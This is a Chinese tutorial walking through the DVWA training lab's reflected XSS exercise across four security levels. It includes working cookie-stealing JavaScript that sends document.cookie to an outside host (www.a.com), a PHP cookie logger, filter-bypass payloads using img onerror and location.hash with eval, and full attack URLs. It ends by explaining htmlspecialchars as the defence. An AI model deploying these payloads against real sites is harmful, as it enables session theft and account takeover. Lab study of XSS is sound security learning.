DVWA 黑客攻防实战(十)反射型 XSS 攻击 Reflected Cross Site Scripting

XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。

XSS 大致分成三种类型(白帽子说安全):

  • 反射型,就是本文的内容。
  • 存储型,在这篇文章会介绍。
  • DOM 型,如果用是否会存储在服务器上区分的话,DOM型也是反射型。但比较特殊,一般会单独拿出来讨论的

低级

功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入?<script>alert(1)</script>

这是因为,php 输出已经变成了,‘<pre>Hello <script>alert(1)</script></pre>‘ 然后输出到页面时,直接运行 <script>alert(1)</script> 这就是 XSS,原本这个地方应该是输入数据的,但是却变成运行代码了。 接下来 hacker 再作尝试,它写了这样一个文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而对应www.a.com/index.php的代码是这样,目的是记录发送过来的 cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

然后再在输出框中输入 <script src="//www.a.com/test.js"></script>
。。。
就会直接将你的 cookies 直接发送到 a.com
有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击这样的连接就Ok了 http://192.168.31.166:5678/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22%2F%2Fwww.a.com%2Ftest.js%22%3E%3C%2Fscript%3E#

比如:

中级

中级代码意识到会有人使用 script 的注入方式,于是就想将 script 标签去掉

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>
。。。还是被注入了。
还可以输入 <scr<script>ipt src="//www.a.com/test.js"></script> 之类

高级

高级代码,使用 preg_replace 函数,无论 script 大小写如何变化也会删除

    <?php

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    ?>

所以可以采用不使用 script 的方式。

比如利用 img 的 onerror 函数 <img src="" onerror="var f=document;var e=escape;var img = f.createElement(‘img‘);img.src=‘http://www.a.com/?cookies=‘+e(f.cookie);f.body.appendChild(img);"/>
这里的意思是构造一张图片<img src="http://www.a.com/cookies=xxx">,完成发送 cookies 。 而其中var f = document;var e=escape;有什么用呢?

想想如果是按原来的顺序,语句里面有一句是 img.src=‘http://www.a.com/?cookies=‘+escape(document.cookie) 其中

  • img.src 有 s、r、c 字母
  • ?cookies 里有 i
  • escape 里有 p
  • document 里有 t

然后会被这个语句匹配并替换 preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );

所以要让p、t字母提前,然后绕过这条语句
但这样的构造是痛苦的。

可以通过其他的绕过这个正则替换,比如利用 location.hash

这是什么东西?
url 中 # 号后面的东西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般会用来做单页面路由。这个东西没有长度限制而且能绕过验证的

所以,可以这样,<img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在构造 url 就可以放心把代码放在 #号后面了。

所以点击下面连接就会偷掉你的cookies了(要复制黏贴)

http://192.168.31.166:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement(‘img‘);img.src=‘http://www.a.com/?cookies=‘+escape(document.cookie);document.body.appendChild(img)

不可能

不可能级别添加了 anti-token 防御机制,和htmlseecialchars函数来防御

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlseecialchars 函数作用是什么?来探讨一下

输入上一级的注入语句

看 dom 的元素,也看不出什么

再看看请求返回的什么

看到了吗,那个函数将 < " 等符号转义了

原文地址:https://www.cnblogs.com/jojo-feed/p/10174762.html

时间: 2024-08-25 10:52:38

DVWA 黑客攻防实战(十)反射型 XSS 攻击 Reflected Cross Site Scripting的相关文章

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass

看到标题,是否有点疑惑 CPS 是什么东东.简单介绍一下就是浏览器的安全策略,如果 标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行.阮一峰老师也有关于CSP 的文章,大家可以看看 看回 DVWA.DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了. 初级 初级篇,如果不看源码的话.看检查器(F12),也可以知道一些被信任的网站. 其他的网站,大家应该也比较熟悉.而当中的

DVWA 黑客攻防实战(十三)JS 攻击 JavaScript Attacks

新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 "success" 提交一下会出现了这个,Invalid token.这是什么回事呢? 你可以打开控制台(F12),看看情况. 你会看到这个 token,不是后台生成的,而是前台生成的...而前台生成的 token,是用 md5("ChangeMe"),而后台期待的 md5 是 m

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了. 把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行.但看完这篇文章你就会明白了. 下面用 dvwa 来演示如何攻击和防御. 低级 用户界面

DVWA 黑客攻防实战(四)文件包含 File Inclusion

文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件,比如一个 webshell 从而实现网站控制.下面一起来看看 DVWA 中的文件包含漏洞. 低级 原本也不知道是什么意思,然后尝试点击一下 File1 就显示 File1 的内容了.而且发现 url 变成了 http://192.168.31.166:5678/vulnerabilities/fi/?page=file1.php Hac

新书预告《黑客攻防实战加密与解密》

很长一段时间,没有怎么研究技术,后面慢慢发现,自己就是弄技术的料,于是重新开始技术的研究,学习和总结,慢慢的就有了新的一套书,目前已经完成黑客攻防实战加密与解密,正在写的黑客攻防实战提权技术研究已经完成稿件的90%,预计明年年初应该可以上市. 现在的社会,房价高企,社会问题突出,很多很多现实问题,在我们改变不了现实的情况下,多做研究,多做储备,也许有一天还能宝刀未老!也能持剑杀敌!最近退了很多技术群和微信群,很多还是专家级别的,他们天天发牢骚,转发负面新闻,很是无趣,决定退掉,回归简单生活,工作

以前写的两本书《安全之路:Web渗透技术及实战案例解析(第2版)》和《黑客攻防实战加密与解密》

应一些朋友的要求,我重新将书封面和购买地址发一下 说明一下: www.antian365.com原来域名转移到国外去了.现在国家对境外域名在国内访问必须实名制,进行备份啥的,情况你懂的. 最近正在制作<黑客攻防实战加密与解密>的视频课程,对黑客攻防过程遇到的密码获取和破解进行全方位的解读和分析,了解密码在攻击中的突出作用,对目前攻防用到的密码相关工具进行重新归类和整理. https://item.jd.com/11761713.html https://item.jd.com/12009331

XSS 跨站脚本攻击(Cross Site Scripting)

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制. xss攻击可以分成两种类型: 非持久型攻击 持久型攻击 下面我们通过具体例子,了解两种类型xss攻击. 1.非持久型xss攻击 顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响.非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时

xss (Cross Site Scripting)跨站脚本攻击

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. XSS攻击分成两类: 一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构

XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 介绍 本文描述了一种恰当地使用输出转码或者转义(encoding or escaping)防御XSS攻击的简单积极模式. 尽管存在巨量XSS攻击方式,遵守一些简单的规则能够彻底防住这类严重的攻击. 本文不探讨XSS攻击的商业和技术影响. reflected and stored XSS 可以